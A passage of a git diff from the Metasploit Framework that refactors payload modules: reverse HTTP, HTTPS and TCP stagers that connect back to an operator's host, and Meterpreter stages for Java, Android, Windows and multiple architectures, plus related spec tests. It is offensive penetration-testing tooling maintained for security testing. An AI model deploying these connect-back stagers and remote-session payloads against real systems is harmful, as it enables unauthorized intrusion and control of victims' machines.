"AESPassword=#{pass}\n" - @class_files = [ - [ "metasploit", "AESEncryption.class" ], - ] - else - @class_files = [ ] - end - c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] - - c - end - end diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 0022a9e319..4c1d36456a 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/java/reverse_http' module MetasploitModule @@ -12,58 +13,19 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Java + include Msf::Payload::Java::ReverseHttp - def initialize(info = {}) + def initialize(info={}) super(merge_info(info, - 'Name' => 'Java Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - 'hdm', # windows/reverse_http - ], - 'License' => MSF_LICENSE, - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'javaurl', - 'Stager' => {'Payload' => ""} - )) - - register_advanced_options( - [ - Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) - ], self.class - ) - - @class_files = [ ] - end - - def config - # Default URL length is 30-256 bytes - uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) - - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end - - spawn = datastore["Spawn"] || 2 - c = "" - c << "Spawn=#{spawn}\n" - c << "URL=http://#{datastore["LHOST"]}" - c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "#{luri}" - c << generate_uri_uuid_mode(:init_java, uri_req_len) - c << "\n" - - c - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 + 'Name' => 'Java Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => ['mihi', 'egypt', 'hdm'], + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'javaurl', + 'Stager' => {'Payload' => ''} + )) end end diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 92ec6b6e7f..7e5ffde76c 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/uuid/options' +require 'msf/core/payload/java/reverse_https' module MetasploitModule @@ -13,61 +14,19 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Java - include Msf::Payload::UUID::Options + include Msf::Payload::Java::ReverseHttps def initialize(info = {}) super(merge_info(info, - 'Name' => 'Java Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTPS', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - 'hdm', # windows/reverse_https - ], - 'License' => MSF_LICENSE, - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'javaurl', - 'Stager' => {'Payload' => ""} + 'Name' => 'Java Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => ['mihi', 'egypt', 'hdm',], + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'javaurl', + 'Stager' => {'Payload' => ''} )) - - register_advanced_options( - [ - Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) - ], self.class - ) - - @class_files = [ - [ "metasploit", "PayloadTrustManager.class" ], - ] - end - - def config - # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end - - spawn = datastore["Spawn"] || 2 - c = "" - c << "Spawn=#{spawn}\n" - c << "URL=https://#{datastore["LHOST"]}" - c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "#{luri}" - c << generate_uri_uuid_mode(:init_java, uri_req_len) - c << "\n" - - c - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 end end diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 9cf7160f42..d6519ee838 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -5,8 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' +require 'msf/core/payload/java/reverse_tcp' module MetasploitModule @@ -14,54 +13,19 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Java + include Msf::Payload::Java::ReverseTcp - def initialize(info = {}) + def initialize(info={}) super(merge_info(info, - 'Name' => 'Java Reverse TCP Stager', - 'Description' => 'Connect back stager', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - ], - 'License' => MSF_LICENSE, - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'javasocket', - 'Stager' => {'Payload' => ""} - )) - - register_advanced_options( - [ - Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]), - Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) - ], self.class - ) - - @class_files = [ ] + 'Name' => 'Java Reverse TCP Stager', + 'Description' => 'Connect back stager', + 'Author' => ['mihi', 'egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'javasocket', + 'Stager' => {'Payload' => ''} + )) end - - def include_send_uuid - false - end - - def config - spawn = datastore["Spawn"] || 2 - c = "" - c << "Spawn=#{spawn}\n" - pass = datastore["AESPassword"] || "" - if pass != "" - c << "AESPassword=#{pass}\n" - @class_files = [ - [ "metasploit", "AESEncryption.class" ], - ] - else - @class_files = [ ] - end - c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] - c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] - - c - end - end diff --git a/modules/payloads/stagers/multi/reverse_http.rb b/modules/payloads/stagers/multi/reverse_http.rb new file mode 100644 index 0000000000..1a2cc6be60 --- /dev/null +++ b/modules/payloads/stagers/multi/reverse_http.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/multi/reverse_http' + +module MetasploitModule + + CachedSize = 0 + + include Msf::Payload::Stager + include Msf::Payload::Multi + include Msf::Payload::Multi::ReverseHttp + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse HTTP Stager (Mulitple Architectures)', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => ['multi'], + 'Arch' => ARCH_ALL, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ''}, + 'Convention' => 'http')) + end + +end diff --git a/modules/payloads/stagers/multi/reverse_https.rb b/modules/payloads/stagers/multi/reverse_https.rb new file mode 100644 index 0000000000..68c150bb04 --- /dev/null +++ b/modules/payloads/stagers/multi/reverse_https.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/multi/reverse_https' + +module MetasploitModule + + CachedSize = 0 + + include Msf::Payload::Stager + include Msf::Payload::Multi + include Msf::Payload::Multi::ReverseHttps + + def initialize(info={}) + super(merge_info(info, + 'Name' => 'Reverse HTTPS Stager (Mulitple Architectures)', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => ['multi'], + 'Arch' => ARCH_ALL, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ''}, + 'Convention' => 'https' + )) + end +end diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 00f5f71f00..0f8b608be0 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -26,5 +26,4 @@ module MetasploitModule 'Handler' => Msf::Handler::ReverseHttp, 'Convention' => 'sockedi http')) end - end diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index dd41230c11..851843e75f 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -25,8 +25,7 @@ module MetasploitModule 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => false } + 'Stager' => {'RequiresMidstager' => false} )) end - end diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 38ca566e8d..f36e3e287f 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -5,67 +5,30 @@ require 'msf/core' require 'msf/core/payload/android' +require 'msf/core/payload/android/meterpreter_loader' require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' -require 'rex/payloads/meterpreter/config' + module MetasploitModule + include Msf::Payload::Android::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Meterpreter', - 'Description' => 'Run a meterpreter server on Android', - 'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Android + 'Name' => 'Android Meterpreter', + 'Description' => 'Run a meterpreter server in Android', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'PayloadCompat' => {'Convention' => 'javasocket javaurl'}, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Android )) - - register_options([ - OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) - ], self.class) end - # - # Override the Payload::Android version so we can load a prebuilt jar to be - # used as the final stage - # def generate_stage(opts={}) - clazz = 'androidpayload.stage.Meterpreter' - metstage = MetasploitPayloads.read("android", "metstage.jar") - met = MetasploitPayloads.read("android", "meterpreter.jar") - - # Name of the class to load from the stage, the actual jar to load - # it from, and then finally the meterpreter stage - blocks = [ - java_string(clazz), - java_string(metstage), - java_string(met), - java_string(generate_config(opts)) - ] - - (blocks + [blocks.length]).pack('A*' * blocks.length + 'N') - end - - def generate_config(opts={}) - opts[:uuid] ||= generate_payload_uuid - - # create the configuration block, which for staged connections is really simple. - config_opts = { - ascii_str: true, - arch: opts[:uuid].arch, - expiration: datastore['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: [transport_config(opts)] - } - - # create the configuration instance based off the parameters - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return the XML version of it - config.to_b + stage_payload(opts) end end diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 050f5ad0c4..0619b16fb3 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -5,90 +5,30 @@ require 'msf/core' require 'msf/core/payload/java' -require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/java/meterpreter_loader' require 'msf/base/sessions/meterpreter_java' require 'msf/base/sessions/meterpreter_options' module MetasploitModule + include Msf::Payload::Java::MeterpreterLoader include Msf::Sessions::MeterpreterOptions - # The stager should have already included this - #include Msf::Payload::Java - def initialize(info = {}) super(update_info(info, - 'Name' => 'Java Meterpreter', - 'Description' => 'Run a meterpreter server in Java', - 'Author' => ['mihi', 'egypt', 'OJ Reeves'], - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'PayloadCompat' => { - 'Convention' => 'javasocket javaurl', - }, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Java + 'Name' => 'Java Meterpreter', + 'Description' => 'Run a meterpreter server in Java', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'PayloadCompat' => {'Convention' => 'javasocket javaurl'}, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java )) - - # Order matters. Classes can only reference classes that have already - # been sent. The last .class must implement Stage, i.e. have a start() - # method. - # - # The Meterpreter.class stage is just a jar loader, not really anything - # to do with meterpreter specifically. This payload should eventually - # be replaced with an actual meterpreter stage so we don't have to send - # a second jar. - @stage_class_files = [ - [ "javapayload", "stage", "Stage.class" ], - [ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ], - [ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ], - # Must be last! - [ "javapayload", "stage", "Meterpreter.class" ], - ] end - # - # Override the Payload::Java version so we can load a prebuilt jar to be - # used as the final stage; calls super to get the intermediate stager. - # def generate_stage(opts={}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') - config = generate_config(opts) - - # All of the dependencies to create a jar loader, followed by the length - # of the jar and the jar itself, then the config - blocks = [ - super(opts), - [met.length, met].pack('NA*'), - [config.length, config].pack('NA*') - ] - - # Deliberate off by 1 here. The call to super adds a null terminator - # so we would add 1 for the null terminate and remove one for the call - # to super. - block_count = blocks.length + @stage_class_files.length - - # Pack all the magic together - (blocks + [block_count]).pack('A*' * blocks.length + 'N') - end - - def generate_config(opts={}) - opts[:uuid] ||= generate_payload_uuid - - # create the configuration block, which for staged connections is really simple. - config_opts = { - ascii_str: true, - arch: opts[:uuid].arch, - expiration: datastore['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: [transport_config(opts)] - } - - # create the configuration instance based off the parameters - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return the XML version of it - config.to_b + stage_payload(opts) end end diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index a5803f978a..b98b592558 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -12,35 +12,28 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - # The stager should have already included this - #include Msf::Payload::Java include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Command Shell', 'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)', - 'Author' => [ - 'mihi', # all the hard work - 'egypt' # msf integration - ], + 'Author' => ['mihi', 'egypt'], 'Platform' => 'java', 'Arch' => ARCH_JAVA, - 'PayloadCompat' => - { - 'Convention' => 'javasocket', - }, + 'PayloadCompat' => {'Convention' => 'javasocket'}, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::CommandShell)) + end + def stage_class_files # Order matters. Classes can only reference classes that have already # been sent. The last .class must implement Stage, i.e. have a start() # method. - @stage_class_files = [ + [ [ "javapayload", "stage", "Stage.class" ], [ "javapayload", "stage", "StreamForwarder.class" ], [ "javapayload", "stage", "Shell.class" ], ] end - end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index ac4534dfe1..982b475874 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -154,16 +154,17 @@ module MetasploitModule def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + ds = opts[:datastore] || datastore # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => nil, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config(opts)], - :extensions => [], - :ascii_str => true + arch: opts[:uuid].arch, + exitfunk: nil, + expiration: ds['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)], + extensions: [], + ascii_str: true } # create the configuration instance based off the parameters diff --git a/modules/payloads/stages/multi/meterpreter.rb b/modules/payloads/stages/multi/meterpreter.rb new file mode 100644 index 0000000000..3094fb2361 --- /dev/null +++ b/modules/payloads/stages/multi/meterpreter.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_multi' +require 'msf/base/sessions/meterpreter_options' + +### +# +# Injects the meterpreter server DLL via the Reflective Dll Injection payload +# along with transport related configuration. +# +### + +module MetasploitModule + + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Architecture-Independent Meterpreter Stage', + 'Description' => 'Handle Meterpreter sessions regardless of the target arch/platform', + 'Author' => ['OJ Reeves'], + 'PayloadCompat' => {'Convention' => 'http https'}, + 'License' => MSF_LICENSE, + 'Platform' => ['multi'], + 'Arch' => ARCH_ALL, + 'Session' => Msf::Sessions::Meterpreter_Multi + )) + end + + def stage_payload(opts={}) + return '' unless opts[:uuid] + + ## TODO: load the datastore "stuff" from the JSON file + ## and wire it into opts[:datastore]. + ## and if we find an instance, hydrate based on that. + ## otherwise use some "sane defaults" as shown below. + + c = Class.new(::Msf::Payload) + c.include(::Msf::Payload::Stager) + + case opts[:uuid].platform + when 'python' + require 'msf/core/payload/python/meterpreter_loader' + c.include(::Msf::Payload::Python::MeterpreterLoader) + when 'java' + require 'msf/core/payload/java/meterpreter_loader' + c.include(::Msf::Payload::Java::MeterpreterLoader) + when 'android' + require 'msf/core/payload/android/meterpreter_loader' + c.include(::Msf::Payload::Android::MeterpreterLoader) + when 'php' + require 'msf/core/payload/php/meterpreter_loader' + c.include(::Msf::Payload::Php::MeterpreterLoader) + when 'windows' + require 'msf/core/payload/windows/meterpreter_loader' + if opts[:uuid].arch == ARCH_X86 + c.include(::Msf::Payload::Windows::MeterpreterLoader) + else + c.include(::Msf::Payload::Windows::MeterpreterLoader_x64) + end + else + return '' + end + + second_stage = c.new() + + # wire in the appropriate values for transport and datastore configs + opts[:transport_config] = [transport_config(opts)] + opts[:datastore] = datastore + + second_stage.stage_payload(opts) + end + +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 6945059910..205fcd807a 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -27,7 +27,7 @@ module MetasploitModule end def generate_stage(opts={}) - stage_meterpreter(opts) + stage_payload(opts) end end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 7d2c7a4fdc..20a5d0944d 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' -require 'rex/payloads/meterpreter/config' ### # @@ -27,33 +26,9 @@ module MetasploitModule 'Name' => 'Windows Meterpreter (Reflective Injection)', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)', 'Author' => ['skape','sf'], - 'PayloadCompat' => { 'Convention' => 'sockedi', }, + 'PayloadCompat' => { 'Convention' => 'sockedi'}, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x86_Win)) + 'Session' => Msf::Sessions::Meterpreter_x86_Win + )) end - - def stage_payload(opts={}) - stage_meterpreter + generate_config(opts) - end - - def generate_config(opts={}) - opts[:uuid] ||= generate_payload_uuid - - # create the configuration block, which for staged connections is really simple. - config_opts = { - arch: opts[:uuid].arch, - exitfunk: datastore['EXITFUNC'], - expiration: datastore['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: [transport_config(opts)], - extensions: [] - } - - # create the configuration instance based off the parameters - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return the binary version of it - config.to_b - end - end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 93127b2728..3e02ca64ec 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' -require 'rex/payloads/meterpreter/config' ### # @@ -31,29 +30,4 @@ module MetasploitModule 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x64_Win)) end - - def stage_payload(opts={}) - stage_meterpreter + generate_config(opts) - end - - def generate_config(opts={}) - opts[:uuid] ||= generate_payload_uuid - - # create the configuration block, which for staged connections is really simple. - config_opts = { - arch: opts[:uuid].arch, - exitfunk: datastore['EXITFUNC'], - expiration: datastore['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: [transport_config(opts)], - extensions: [] - } - - # create the configuration instance based off the parameters - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return the binary version of it - config.to_b - end - end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 8ca160f866..16b4389bbd 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1697,6 +1697,28 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'mainframe/shell_reverse_tcp' end + context 'multi/meterpreter/reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/multi/reverse_http', + 'stages/multi/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'multi/meterpreter/reverse_http' + end + + context 'multi/meterpreter/reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/multi/reverse_https', + 'stages/multi/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'multi/meterpreter/reverse_https' + end + context 'netware/shell/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index a1ffe362e3..f41a9ac0e5 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -101,7 +101,8 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options| 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', 'RC4PASSWORD' => 'Metasploit', 'DNSZONE' => 'corelan.eu', - 'PEXEC' => '/bin/sh' + 'PEXEC' => '/bin/sh', + 'StagerURILength' => 5 }, 'Encoder' => nil, 'DisableNops' => true